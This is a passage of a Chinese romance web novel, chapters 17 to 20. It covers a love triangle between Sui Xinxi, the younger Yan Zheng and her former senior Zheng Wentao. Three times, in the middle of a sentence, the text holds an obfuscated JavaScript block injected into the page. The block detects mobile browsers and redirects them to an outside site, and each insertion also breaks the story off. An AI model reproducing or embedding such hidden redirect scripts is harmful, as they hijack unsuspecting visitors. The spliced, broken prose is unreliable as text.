她能感觉到他胸膛的起伏,他心脏剧烈跳动的声音,仿佛和她的同频共振。 空气变得粘稠而暧昧起来。 “姐”,晏铮终于说话了。他的声音很嘶哑,带着酒后的含混和无法言喻的痛苦。 仅仅一个字,就让隋心喜推拒的手顿住了。 “姐……”他又喊了一声。 下一秒,隋心喜整个人就被一股巨大的力量拥进了怀里。 他的头重重地砸在她的颈窝里,滚烫的额头贴着她颈侧敏感的皮肤。 隋心喜被他勒得闷哼一声,刚想让他松手,颈窝里骤然传来一片湿意。 他哭了,破碎的呜咽从喉咙深处涌出来,宛若受伤野兽的低嚎。 他语无伦次地重复着,“你也不要我了……是不是?你是不是也不要我了?他们都走了……我爸我妈都没了……我的亲人都没了……现在连你也不理我了……我怎么办……我怎么办……” 晏铮的哭声,像一把生了锈的钝刀子,一下一下地割着隋心喜的心。 那些被她用强装的冷漠垒砌起来的高墙,瞬间在他的哭诉面前,崩塌瓦解。 其实,她这段日子又何尝好过? 她刻意不回他的消息,看到他打来的电话就心慌意乱地挂掉,在公司楼下看到他等待的身影就绕道走。 每一个疏离的动作背后,是她夜里睡觉时痛得蜷缩起来,呼吸困难。 现在,她的理智被他的泪水彻底淹没了。那本应推开他的手,终于缓缓搭在了他因为抽泣而颤抖的后背上。 她吸了口气,告诉他:“晏铮,我没有不要你,真的没有。” 晏铮却摇了摇头,声音闷闷的,“你骗我,你都不理我了,你像躲瘟疫一样躲着我……” 这份控诉让隋心喜的心揪得更紧。 她拍着晏铮的背,徒劳地解释道:“不是那样的,我只是……” 剩下的话,她说不出口了。 她无法直白地承认那些关于年龄差的顾虑,关于害怕失去而产生的恐慌。 她只能又吸一口气,重复着苍白的话,“我没有不要你。别哭了……” 怀里紧绷僵硬的身体,似乎因为她的话,松动了一些。 那撕心裂肺的痛苦呜咽渐渐低了下去,变成了压抑的抽噎。 黑暗中,只剩下两个人沉重的呼吸声。空气里弥漫着的酒气,混杂着眼泪的咸湿,暧昧更浓。 过了好一会儿,隋心喜感觉到晏铮抱着她的手臂松了点力道,不再是那种要把她勒进骨头里的绝望拥抱。 他慢慢地抬起头,灼热的呼吸拂过她的脸颊。她能想象到他脸上未干的泪痕和哭红的眼睛。 他的声音还带着浓重的鼻音,但情绪稳定了许多,“我是不是吓到你了?” 隋心喜低低地“嗯”了一下。 晏铮沉默了几秒,身体又往后挪开了一点。 他摸索着,右手伸向刚才隋心喜想要触碰的开关方向,“我先开灯。” 隋心喜却立刻慌乱地抓住了他的手腕,“不要!” 晏铮的动作骤然停住,“怎么了?” 隋心喜现在脸上又红又烫,头发也乱糟糟的。她心想自己这副狼狈的样子,怎么能被他看见?黑暗是她此刻唯一的屏障。 她急中生智道:“刚才上楼,我就发现灯坏了,明天再换灯泡吧。” “行”,晏铮那只被抓住的手腕动了动,隋心喜像是被烫到一样,立刻松开了他。 两人又陷入了一种微妙的沉默。 隋心喜清了清嗓子,努力找回一点主导权,“你喝了太多酒了,先去洗个澡吧,里面的灯是好的。然后今晚别回学校了,我不放心,你在沙发上凑合一晚,天亮再走。” 说完这话,她感觉自己脸颊的温度又升高了几分。 之前还是晏铮想方设法留下来,现在倒成了她主动留人过夜……她懊恼地咬住了下唇,又庆幸他在黑暗中看不见。 同样地,晏铮借着黑暗的掩护,缓慢地勾起了嘴角,心满意足地说了声“好”。 —————————— 一周之后,隋心喜刚回到单位放下包,就收到了管伟的电话,叫她进办公室一趟。 隋心喜推门进去,一眼就看见管伟办公桌对面的椅子上坐着个人,背影有点熟悉。 那人听见动静也转过头来,对她露出一个温和的笑容。 隋心喜愣了一下,“学长,你怎么在这儿?” 管伟指了指郑文韬旁边的椅子:“来来,心喜,坐。给你介绍一下,这是郑文韬郑顾问。” “郑顾问?”隋心喜坐下,疑惑地看了郑文韬一眼。 郑文韬笑着点点头:“又见面了。” 管伟接着说:“这是公司特聘的技术顾问,专门负责指导我们新接手那个智慧社区整合平台的项目,昨天才签的合同。这不,今天郑顾问就来熟悉情况了。” 他又转向隋心喜:“我听郑顾问说,你们是大学校友,还是同一个系的师兄妹?这真是巧了!” 隋心喜点点头:“是,学长比我高一届。” “那就好!”管伟一拍手,高兴道:“这项目前期资料多,技术难点也不少,心喜啊,你是项目组的骨干,又是郑顾问的熟人。这样,这段时间,你就多费费心,给郑顾问好好介绍咱们项目的情况,包括各个模块啊,客户需求啊,还有我们目前遇到的卡点。郑顾问可是我们花大力气请来的专家,你可得配合好啊!” 郑文韬适时补充道:“我这师妹大学时候的工作能力就很出色,现在有‘熟人’带路,我肯定能更快上手。管总放心,我和心喜配合没问题。” “行,那心喜,这事儿就交给你了,优先级排高一点。你们再聊聊,我还有个会”,管伟说着就站起身,一副急着走的样子。 “好的管总,您放心”,隋心喜也赶紧站起来。她对郑文韬笑了笑:“学长,那我先带你看看我们项目组的办公区。” 接下来的几天,隋心喜的生活节奏明显被郑文韬占据了更多。 郑文韬确实是个负责的顾问。他问的问题很细,在涉及到技术细节的时候尤其认 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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隋心喜没什么特别的胃口,随便点了两个常见的寿司和一份乌冬面。郑文韬倒是兴致勃勃地点了好几种。 等菜的功夫,郑文韬果然拿出平板,打开项目资料,开始问那几个关于支付接口的问题。 隋心喜打起精神,仔细给他解答。问题本身难度不大,很快就说清楚了。 服务员陆续把寿司和小菜端上来。郑文韬把平板收起来,笑道:“好了,公事完毕。吃饭吃饭,别浪费美食。” 气氛轻松了点。两人一边吃,一边聊了些无关痛痒的话题,比如哪个同学结婚了,哪个老师退休了。 郑文韬吃得不多,更多的是在看隋心喜。 她今天穿了套深紫色套裙,上班时挽起的发髻放了下来,柔顺地搭在肩头,低头吃寿司时,侧脸在灯光下很柔和。 他心里有些感慨,也有些得意。 大学时那个有些羞涩、总爱来找他问问题的学妹,如今出落得干练又温婉,而且,似乎她对他的那份好感还没完全消失? 至少,她并不抗拒他的接近。 他放下筷子,端起茶杯喝了一口,目光不经意地扫过店内,眼神在斜后方一个角落位置定住了。 那里坐着一个戴帽的年轻男孩。他的帽檐压得有点低,但下颌线很清晰。 虽然他微微低头,避开了和自己的对视,但郑文韬能够感受到,他是冲着自己来的。 郑文韬心里冷笑一声。这喜欢装奶狗的小狼崽子,盯得可真紧。 18. 第 18 章 郑文韬放下茶杯,手指在桌面上敲了敲。 隋心喜正夹起一块玉子烧,完全没注意到斜后方的视线。 她看着郑文韬不动筷子,问:“学长,你怎么不吃了?不合胃口吗?” “没有,挺好吃的”,郑文韬收回看向晏铮的目光,重新看向隋心喜,脸上的笑容加深了,“我记得你大学时就爱吃玉子烧,对吧?看来口味一直没变。” “啊?还好吧。”隋心喜没想到他突然提这个,有点含糊地应着。 郑文韬忽然挪到隋心喜旁边的直角位上,两人之间的距离瞬间缩短了很多,几乎是肩膀挨着肩膀了。 隋心喜被这突然的动作弄得一怔,身体下意识地往后靠了靠,想拉开点距离:“学长?” 郑文韬仿佛没察觉到她的不适,反而侧过身,更加面向她。 他脸上带着熟稔又神秘的笑容,“你知道吗?我回国前,特地去唐人街找了个大师学了一手。” “学什么?”隋心喜被他这神神秘秘的样子弄得有点懵,注意力被拉了过来,暂时忘了刚才的不自在。 “看手相啊!”郑文韬看向隋心喜放在桌面的手,煞有介事道:“大师说我天赋异禀,学得快。要不要让我给你看看,未来财运如何,姻缘顺不顺?” 隋心喜下意识地想把手往回缩:“别闹了学长,这都什么年代了……” “试试嘛,就当玩玩,又不收你钱”,郑文韬的语气不容拒绝,并且在说话的同时,右手已经迅速地伸了过去,目标明确地抓住了隋心喜的左手手腕。 这太越界了! 手腕上的触感让隋心喜很不舒服,她想用力将手抽回来。 郑文韬却没松手,反而握得更紧了些,另一只手还作势要去掰开她的掌心,脸上依旧是半真半假的笑容:“别动别动,让我好好看看……” 就在这时,两人斜后方传来一下很大的椅子腿摩擦地面的声音。 隋心喜循声扭了下头,但视线被郑文韬挡着,没看清后面发生了什么。 等她目光扫到门口时,只看到一个有点眼熟的背影大步流星地出去了。她心里咯噔一下。 趁着隋心喜分心的瞬间,郑文韬抓着她的手又用了点力,把她注意力拉了回来:“看哪儿呢?看手相要专心。” “学长!松手!”隋心喜这次是真有点恼了,声音也冷了下来。 她用力一挣,抽回了手。她立刻把手放到桌下,皱着眉看着郑文韬,“这玩笑开过分了。” 郑文韬看着空了的掌心,耸耸肩:“好吧好吧,看来小师妹不信这个,不看了不看了。” 他拿起茶杯慢悠悠地喝着,眼神却瞟向外面。那个年轻的身影已经不知去向了。 他得意地笑了声,重新看向隋心喜。她正低头用纸巾擦着自己的手腕,眉头还微蹙着。 他放低了声音,“生气了?” 隋心喜没看他,闷声道:“没有,就是觉得这样不太好。” 郑文韬带着点追忆往事的味道,自言自语道:“其实在大学那会儿,我就知道。” “知道什么?”隋心喜疑惑地看着他,脑海里却是刚才那个匆匆离去的背影。 那是晏铮吗?他看到郑文韬抓她手了?他是不是生气了?他怎么会在这里?一连串的问号,让她心不在焉。 郑文韬的眼神却很笃定,带着看穿一切的了然,“我知道你对我有好感啊!那时候你总爱往我们机房跑,问东问西的,帮我整理资料也特别积极。” 隋心喜完全没想到郑文韬会突然提起这个,而且说得这么直白。 大学时那点朦胧的好感,连她自己都说不清是不是真的喜欢,或者更多的是对优秀学长的仰慕。 现在被他这样当面点破,还是用近乎炫耀的口吻,她只觉得又尴尬又烦躁。 “学长,那都是过去很久的事了,年轻不懂事”,隋心喜想快点结束这个话题。她端起茶杯想喝口水掩饰一下,却发现杯子空了。 郑文韬仿佛没意识到她的抗拒,他看着她微红的脸颊和躲闪的眼神,更加确信自己的判断。 他身体往前倾了倾,带着蛊惑般的亲昵:“其实,我一直觉得我们……” 就在这时,郑文韬大腿到小腿一热,湿漉漉的感觉迅速蔓延开来。 他惊得“嘶”了一声,猛地从椅子上弹跳起来。 一个穿着普通夹克衫的男人,手里拿着个空茶杯,对着郑文韬连连道歉:“先生对不起,对不起!我刚才咳嗽得要命,叫了服务员半天都没人加水。我自己打水回来,却没注意看路!实在抱歉,您没事吧?” 郑文韬低头一看,自己今天穿的是一条米白色的休闲西裤,现在有半边都被深褐色的茶水浸透了。 更要命的是,湿透的布料隐隐透出底下深色内裤的轮廓,这让他尴尬得后槽牙都咬紧了。 他抬眼狠狠瞪了一眼那个还在不停点头哈腰道歉的男人,那人看着就是个笨手笨脚的倒霉蛋。 但郑文韬心里门儿清:哪儿这么巧?大概率是晏铮那小子躲在暗处搞的鬼! 晏铮花钱雇人演这么一出,就为了恶心他。这小狼崽子,手段真够下作的! “你烫着没?”隋心喜也被这突如其来的变故吓了一跳,连忙抽了几张纸巾递过去。 她看着那片触目惊心的茶渍,眉头微皱。这寿司店冷气足,穿着湿裤子肯定难受。 “没事,茶水不烫,就是这……”郑文韬接过纸巾,象征性地擦了擦,但那湿痕哪是几张纸巾能吸干的? 他脸色铁青,努力压着火气,不想在隋心喜面前太失态,“你看我这……实在没法继续坐了。楼下就是个大卖场,我去买条裤子换上,你等我一下。” 隋心喜点点头,“行,你快去吧。我在这儿等你。” 郑文韬走了,隋心喜一个人在寿司店坐了几分钟,越想越觉得让他一个人湿着裤子去买衣服不太好。 出于礼貌,她也应该陪着去看看。 隋心喜结了账,到楼下的男装区域找了一圈,在一个挂着各种休闲裤的衣架前看到了郑文韬。他正拎着两条不同颜色的裤子在比较。 隋心喜走过去,“怎么样?有合适的吗?” 郑文韬看到她跟来,眼睛一亮,刚才的憋屈感都散了不少。 “看你半天没回来,怕你不好挑”,隋心喜实话实说,目光扫过他手上拎着的两条裤子,“深色的吧?不容易显脏。” 郑文韬又拿起旁边一条款式类似,但颜色更亮骚一点的宝蓝色,“这条怎么样?” 他其实更中意这条,显得年轻精神些。 “呃……”隋心喜看着那宝蓝色,心想这颜色会不会太高调了点。 她支支吾吾道:“也……还行吧?你喜欢就好。” 就在这时,导购小姐走了过来:“先生您好,选裤子吗?我看您手上这条宝蓝色的,是我们刚到的新款,版型很好的,显身材。” 郑文韬拿着裤子在自己身上比划了一下:“是吗?我女朋友也觉得这颜色不错。” 他说得又快又自然,目光还含笑地瞟了隋心喜一眼。 隋心喜还没来得及开口澄清,导购小姐立刻接话,对着她也是一顿夸,“美女,你眼光真好,你男朋友穿这个肯定帅。” 隋心喜无语了,忍不住要翻白眼,“不是,我们……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16553173|185851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 郑文韬却直接把裤子递给导购小姐,完全不给隋心喜否认的机会,“就这条了,麻烦拿180的尺码。” 这人怎么这样啊?谁是他女朋友了? 隋心喜一口气堵在胸口。她瞪了郑文韬一眼,但碍于导购在场,也不好大声反驳。 导购小姐手脚麻利地找到了郑文韬的尺码,把他引到试衣间门口,“先生您试试,不合适我再给您换。” 郑文韬拿着裤子进了试衣间,迅速换上。 他对着试衣间的镜子照了照,裤子料子还不错,挺括有型,确实显得腿长精神。 他忍不住勾了勾嘴角。 虽然晏铮捣乱泼了他一身,但阴差阳错,反而给了他更进一步的机会。 特别刚才在导购面前那句“女朋友”,就像是提前预演,他得趁热打铁。 他深吸一口气,拉开门帘走了出去。隋心喜正等在几步远的地方,给晏铮发信息。 “心喜,你看怎么样?”郑文韬走到她面前,展示了一下。 隋心喜连忙收起手机,抬头打量了一眼,“挺好的,很合身。” “那就好”,郑文韬付了钱,把换下来的湿裤子塞进购物袋提着。 他看了眼四周嘈杂的环境,顾客来来往往,广播里还播放着促销信息,实在不是个表白的好地方。 但机会稍纵即逝,晏铮那小混蛋还不知道躲在哪个角落使坏呢,不能再等了! 可是,就当他要再度开口时,兜里的手机又震了起来。 他掏出一看,屏幕上跳动着“管伟”两个字。 郑文韬犹豫了一下——这么巧?下班了还有工作? 他的拇指悬在接听键上方,脑子里闪过晏铮那张看似无害、实则腹黑的脸。 这小子的手伸得够长啊,连管伟那边都能使上劲?还是单纯就是他今天运气背? 不管了,这次绝不能让别人再来搅局! 郑文韬把心一横,直接按下了关机键,世界顿时都清净了。 隋心喜看着他一系列的动作,有些诧异:“是不是公司有事?” 郑文韬把手机放好,表情也变得认真起来,“我现在要跟你说的话,比任何工作都重要。” 面对这突如其来的严肃,隋心喜心里隐隐升起一丝不太妙的预感,“啊?你要说什么?” 郑文韬往前走了一步,拉近了两人之间的距离,周围超市的喧闹似乎都成了背景音。 他看着她清澈的眼睛,一字一句:“心喜,刚才在楼上吃饭时我说的话,不是一时兴起。我说我知道你大学时对我有好感,其实那时候,我对你,也有好感。” 隋心喜惊讶极了,一时没有接话。 郑文韬深吸一口气,目光变得更加灼热:“是真的,我觉得你很特别。只是那时候我已经定了要出国深造,未来的路飘忽不定。我觉得自己什么都给不了你,也怕耽误你,所以才一直没有表露过什么。” “但是现在不一样了,我回来了,有了自己的事业基础,也打算在国内长期发展。我能照顾你,也能给你更好的生活。” “所以,隋心喜,我不想再错过了,我在正式地追求你。希望你能抛开过去的顾忌,给我们彼此一个机会,认认真真地考虑一下我,好吗?” 听郑文韬说完,隋心喜的大脑嗡嗡作响,像是被塞进了一团乱麻。 这番表白如此直接,带着志在必得的笃定。 她应该感到被人重视,至少有点感动吧?毕竟那是她大学时曾仰望过的学长。 可是,没有。 这些话像投入湖面的石子,但激起的涟漪中心,晃动的全是晏铮的影子。 19. 第 19 章 隋心喜和郑文韬一前一后进了无人的电梯。 她看着屏幕上不断跳动的数字,还是说出了卖场里没说的话:“对不起啊学长,有些事情,过去了就是过去了。” 郑文韬愣了一下,随即反应过来。 他的眼神暗了暗,但还保持着风度,点点头,“我明白了,谢谢你这么坦诚。” 电梯门开了,外面是停车场。他侧身让隋心喜先出去,自己跟在后面。 他看着隋心喜的背影,又不甘心地几步跟上去,“你拒绝我,是不是因为晏铮?” 隋心喜停下脚步,默了几秒,对着郑文韬礼貌地笑了笑。 这个反应本身,就足够说明问题了。 郑文韬心里那点残存的希望彻底熄了。 “懂了”,他没再追问,语气反而轻松了一点,“走吧,我送你回去。” “谢谢学长,我自己打车就行”,隋心喜扬了扬手机,上面是网约车的信息。 郑文韬没坚持,“好,那你路上小心。” 两人就此各回各家。可惜这场景,刚才在卖场躲在一边的晏铮并没有看到。 他在衣架后听到了郑文韬的表白,也看到了隋心喜的沉默,可恐惧攫住了他,他怕听到自己承受不了的答案。 他觉得自己就像一个被戳破的气球,那股花钱雇人泼茶、跟踪他们下来、躲在暗处窥伺的劲儿,一下子全泄了。 他快步离开,直到冲出商场大门,带着凉意的晚风吹在脸上,他才觉得又能喘上气了。 他在路边站了一会,看着来来往往的车灯,大脑一片空白。 他拿着手机,手指悬在隋心喜的号码上,犹豫了很久,最终还是锁了屏。 他需要做点什么,必须做点什么,否则他觉得自己快要被这种无力感逼疯了。 他深吸一口气,招手拦了辆出租车。 —————————— 这个点的维恒人工智能办公室里,除了值班的运维,就只有储嘉骐还在。 他正对着几块屏幕上的代码和数据图表皱着眉头,手边堆着空了的咖啡杯和揉成一团的能量棒包装纸。 他被大门推开的声音吓了一跳,扭头一看,居然是晏铮。 他看了看墙上的挂钟,惊讶道:“你怎么跑公司来了?” 晏铮没回答他,径直走到自己那台配置顶配的电脑前,按下开机键。 储嘉骐察觉出不对劲了,他转动椅子面对着晏铮,“怎么了?脸色跟被人抢了五百万似的。你跟你那个姐姐,吵架了?” 晏铮盯着屏幕,眼皮都没抬一下,“郑文韬跟她表白了。” “啥?”储嘉骐想起上次拿隋心喜和郑文韬的机场照刺激晏铮,但那都是夸大的说辞。没想到,郑文韬现在还真的付诸行动了。 他皱起了眉头,“你姐答应了?” 晏铮喉结滚动了一下,从牙缝里挤出几个字:“不知道,没听完。” 储嘉骐骂了一句,“你这操作很迷啊!你跑了干嘛,你得冲上去,拿出你那腹黑的劲儿搅黄它。” “冲上去说什么?”晏铮自嘲地笑了声,“说我听见了?然后让她觉得我幼稚,还是像个跟踪狂?” 确实,就隋心喜一直把晏铮当弟弟看这架势,他要是当场跳出来,说不定还适得其反,显得郑文韬更像个体面成熟的追求者。 储嘉骐也头疼了,“那现在怎么办?” “干活”,晏铮盯着屏幕,手指在键盘上噼里啪啦地敲打起来,“‘磐石’项目的优化方案呢?你昨天不是说有几个节点效率卡住了,拿来。” 储嘉骐看着他憋着股邪火往事业上烧,叹了口气,翻出一沓材料递过去,“行吧,有几个地方,算法开销太大,实时性上不去,客户那边有点意见。” 晏铮接过材料,翻得哗哗响,办公室里的气氛压抑得能拧出水来。 接下来的日子,储嘉骐算是见识到了什么叫工作狂魔。 他早上打着哈欠推开公司门的时候,晏铮已经在敲代码了,旁边放着啃了一半的面包或者凉掉的豆浆。 晚上储嘉骐熬不住准备回家时,晏铮还在那里,屏幕的光映着他目无表情的脸,旁边外卖盒已经堆了两三个。 晏铮不再主动提隋心喜,没课的时候也不回学校。他在办公室里弄了张行军床,累了就往上一躺。 但储嘉骐知道,这事儿根本没过去,反而成了晏铮心里一根越扎越深的刺。 证据就是,只要他不小心提到“富邦科技”那边的事,晏铮敲键盘的手就会猛地停顿一下,随即敲得更快更重。 偶尔晏铮也会对着屏幕走神,手指摩挲着手机边缘,屏幕几次亮起又暗下。 储嘉骐瞄到过,那绝对是隋心喜的聊天窗口。 这天中午,两人点了外卖在公司吃。 储嘉骐刷着手机,看到一条行业新闻,富邦科技启动了一个新项目,郑文韬是顾问。 他的商人雷达立刻响了起来。 他眨了下眼睛,故意夸张道:“啧,看看人家富邦,动作够快的啊。郑文韬看来是真有两把刷子,这项目据说前景不错,他们老板挺器重他的。” 晏铮正埋头吃饭,夹菜的动作慢了一拍。他没说话,只是把嘴里那口饭嚼得格外用力。 储嘉骐见刺激有效,心里有了点谱,再接再厉:“哎,晏铮,你说咱们‘磐石’要是能提前半个月上线,能不能抢在他们前头?给那姓郑的一个下马威。” 晏铮停下筷子,沉默了一会。 他抽出张纸巾,慢条斯理地擦了擦嘴,“不用抢。只要我们的东西够硬,足够碾压他手上那些三流的方案。‘磐石’的核心模块,我来重写,性能指标翻倍。三天后给你初稿。” 储嘉骐惊讶极了,晏铮说的是人干的事? 但是,他看着晏铮眼底那簇沉寂又危险的火苗,知道这小子是来真的了。 他分明是想用这种方式,把那个让他避之不及却又时时刻刻啃噬着心肺的答案,连同让他恨得牙痒痒的情敌,一起碾碎。 储嘉骐一拍桌子,也来了劲,“行,需要什么资源你开口,我陪你熬!” 接下来的三天,晏铮果真一头扎进了代码的海洋里。 储嘉骐说是陪着,其实也不敢多打扰,只能把后勤保障做到最好。 奇迹还真发生了。 第三天傍晚,晏铮把储嘉骐叫到电脑前。 屏幕上是新核心模块的测试结果,性能指标像坐了火箭一样往上蹿,远超他们之前的预期,甚至甩开了富邦那个被吹上天的项目一大截。 储嘉骐眨巴着眼睛,感觉自己像在做梦。 “满意不?”晏铮嗓子哑得厉害 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16559416|185851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,整个人瘫在椅子里,眼睛都睁不开了。 储嘉骐兴奋得在原地转了两个圈:“靠,你他妈是真牛!这回咱们要发了!” 接下来的事情顺理成章。 这款代号“磐石”的新模块,由储嘉骐掌控的另一家技术公司“常尔”推出,署名用了晏铮编的一个假名“Yan”。 市场上突然横空出世这么一个性能怪兽,价格还有竞争力,立刻掀起了巨浪。 原本聚焦在富邦科技新项目上的目光,全被吸引过来了。储嘉骐电话接个不停,订单像雪片一样飞来,嘴角咧到了耳后根。 富邦科技那边,气氛就不那么美妙了。 郑文韬作为新项目的顾问,眼看着自己主导的方案还没正式亮相,风头就被对家抢了个精光。 他费尽心思做的各种前瞻性分析和市场预期,在绝对碾压的技术实力面前,显得苍白无力。 公司高层会议上,老板虽然没直接批评,但那份失望,郑文韬清楚地感受到了。 而这个“Yan”到底是谁?他查来查去,只知道是个神秘高手。 这种被人在暗处狠狠摆了一道的感觉,让他烦躁得不行,急需找人诉苦。 —————————— 储嘉骐的常尔科技跟富邦科技在同一个CBD写字楼里。 这天下午,晏铮过来找储嘉骐谈后续优化方案。 他刚走进宽敞明亮的大堂,余光就扫到了休息区沙发上的两个人影。 郑文韬背对着他,低着头,肩膀垮着,背影透着一股浓浓的失落。 隋心喜坐在他旁边,正轻声说着什么,一只手还安慰性地拍了拍他。 晏铮一直想知道的问题还没有答案,他本不想上前,脚步却怎么也挪不开了。 行吧,既来之则安之。 晏铮调整好呼吸,过去喊了一声“姐”,两人同时转头。 隋心喜看到是他,眼睛亮了亮,惊讶道:“你怎么在这儿?” 晏铮瘪了瘪嘴:“我就是来找个实习单位看看,刚好看到你了。” 他看了眼郑文韬,垂下眼睫,“你忙着陪男朋友吧?那我先走,不打扰你们了。” 说完,他作势就要离开,整个人落寞得像个被遗弃的小狗。 “等等!”隋心喜站起来,一把拽住晏铮的胳膊,“什么男朋友?你瞎说什么呢?” 她转过头,有点尴尬地对郑文韬解释:“学长,不好意思,我弟弟误会了……” 她又立刻对着晏铮,语气带着点嗔怪,“学长工作上帮了我很多忙。他今天心情不太好,我正好下来碰到,就聊两句。” 晏铮心里的狂喜像小气泡一样咕嘟咕嘟往上冒,脸上却还绷着那副受伤的表情。 他故作小心地开口:“真的吗,我没当电灯泡?” “当然没有!”隋心喜斩钉截铁,脸都有点红了,“你也见过的,这是我的同事兼学长。” 晏铮眼底深处掠过得逞的光芒,他对着郑文韬挑了挑眉角,“那既然碰上了,也快到饭点,我请你们吃饭吧?就当谢谢学长平时照顾我姐!” 郑文韬看着他的“变脸”,心里冷笑一声,脸上也挂起了斯文得体的笑容,说了声“好”。 隋心喜一看郑文韬都答应了,也不好推辞:“那行吧。不过哪能让你请,我来。” 20. 第 20 章 三人就近找了家安静的菜馆。 晏铮非常自然地坐在了隋心喜身旁,把郑文韬隔在了对面。 服务员拿来菜单,晏铮接过来递给隋心喜。 他指了指上面的几个菜名,“这些都是你喜欢的,今天想吃哪个?“” 隋心喜有点不好意思地看了看郑文韬:“学长,你看看想吃什么?” 郑文韬笑笑:“你们点就行。” 等菜的时候,晏铮的“表演”就开始了。 他先是给隋心喜烫了碗筷,她刚想说话,他又把她手边的茶水添上了。 隋心喜跟郑文韬聊起一个工作上的技术细节,晏铮看似随意地在旁边插了一句:“哦,这个原理啊,跟我们学校实验室搞的一个项目有点像。” 他提到的技术点比郑文韬说的更深一层,隋心喜都惊讶地看了他一眼,“你还懂这个?” “学校里瞎琢磨的”,晏铮腼腆地笑笑,随即岔开话题,“对了姐,你上次说家里的智能音箱总抽风,等我周末过去给你重刷个系统,保证比新的还好用。” 隋心喜立刻点头:“好啊好啊,烦死我那音箱了。” 郑文韬默默看着。 晏铮对隋心喜的喜好、习惯、甚至家里的电器都了如指掌。 隋心喜对晏铮的依赖和信任也写在了脸上。两人的相处,显然超越了普通的姐弟情。 他甚至注意到,隋心喜碗里刚上了一道海鲜蒸蛋,上面撒着几粒她不喜欢的葱花。 她自己还没动手,晏铮已经用勺子帮她挑了出来。 郑文韬清晰地认识到一个事实:无论他事业如何,谈吐如何,在这个从小跟着隋心喜长大的晏铮面前,他始终像个局外人。 晏铮看似乖乖吃饭,实则眼角余光一直留意着郑文韬的反应。 他看到郑文韬眼底的挫败,心里那簇小火苗跳得更欢了。 他状似无意地给隋心喜夹了一块酸甜排骨:“姐,你最喜欢这个,多吃点。” 郑文韬端起茶杯喝了一口,不由地想起了大学时。 那时候,隋心喜还在读本科,晏铮刚上高中。 但他去隋心喜家里找她时,好几次都撞见晏铮。 那小子总是眼神带刺地看着他。 有一次,隋心喜和他一起处理学校事务晚了回家。 他送她到小区门口,远远就看见晏铮抱着书包蹲在那里,说是“怕姐姐一个人走夜路不安全”。 隋心喜当时还心疼地怪他不懂事。 郑文韬那时只觉得他黏姐姐黏得紧,但终究是个半大小子,没太放在心上。 谁能想到,这么多年过去,当年那个沉默的小屁孩,已经长成了这样一副极具欺骗性的英俊模样。 他牢牢地霸占在隋心喜身边,用更强势的方式宣示着主权。 而他郑文韬,像个傻子一样,试图重温旧梦,结果被现实狠狠扇了一巴掌。 饭吃得差不多了。 隋心喜起身去了趟洗手间,桌边只剩下两个男人。 郑文韬脸上的客气消失了,“晏铮,你无需这样。” 晏铮放下筷子,抬头迎上他的目光,脸上刻意伪装的天真无害也淡了下去。 他沉静地审视着郑文韬:“你想说什么?” “心喜是个好女孩,值得好的”,郑文韬扯了下嘴角,有点自嘲,“但显然,在她心里,最重要的那个人,从来就不是我。这一点,我大学时就该看出来的。” 他顿了顿,目光带着洞悉一切的了然,直直刺向晏铮,“至于你对她的心思,我很清楚,不是弟弟对姐姐的那种。” “我现在放手,不是因为你那些小动作。而是因为我看明白了,心喜离不开你,她也习惯了有你。在她心里,你的位置,没人能替代。” 晏铮的喉结滚动了一下。这些话就像羽毛,拂过他心底最深处。 郑文韬却又话锋一转,警告道:“你别高兴得太早。重要,不等于伴侣。习惯,也不等于爱情。心喜现在没想明白,或者不敢想得太明白,你们之间隔着太多东西,年龄、身份、还有她对你的责任感。你要让她跨过这些接受你,路还长着呢。” 这些话,像冰冷的锤子,敲在晏铮还没高兴多久的心上。 但他只是紧了紧桌下的拳头,随即又松开。 他早就知道会是如此。从动了那个念头开始,他就明白自己选了一条荆棘遍布的路。 他低沉而平稳地开口,带着与年龄不符的笃定,“学长说的是实话。但我有的是耐心,多久,我都等。” —————————— 隋心喜觉得自己今年的事业运不错。 富邦科技的大项目,她跟进得很顺利,几个关键节点都提前完成了,连一向挑剔的管伟都在部门会上夸了她两句,说年轻人就该有这种干劲。 郑文韬的消息,她是最后才听说的。 那天茶水间里,几个平时爱八卦的同事在嘀咕,说郑顾问好像要走了,跳槽去南边一家新公司。他们还说给的待遇挺好,但总觉得有点突然。 隋心喜端着杯子进去接水,她们就没再说了,只是互相使了个眼色。 后来管伟还在会上简短提了一句,说郑顾问因为个人发展原因离职了,感谢他这几个月的协助。 隋心喜暗暗松了一口气。 自从那场尴尬的表白,还有后面的三人饭局后,郑文韬就很少再私下找她了,工作上的接触也仅限于必要的邮件和会议。 现在他走了,也好。她觉得自己的工作和生活,都回到了更熟悉的节奏。 她下班回家,可以煮个简单的面,看看剧,或者和爸妈视频聊聊天。晏铮还是会每天发消息问她在干嘛,或者分享点今天的事情。她回复着,心里有种踏实的平静。 晏铮的日子就没那么平静了。或者说,表面的平静下,是他精心计算的暗涌。 他知道自己不能急,急了会吓跑隋心喜;但他也不能再像以前那样,只满足于弟弟的位置。 终于到了大四开学的时候,他的机会来了。 —————————— 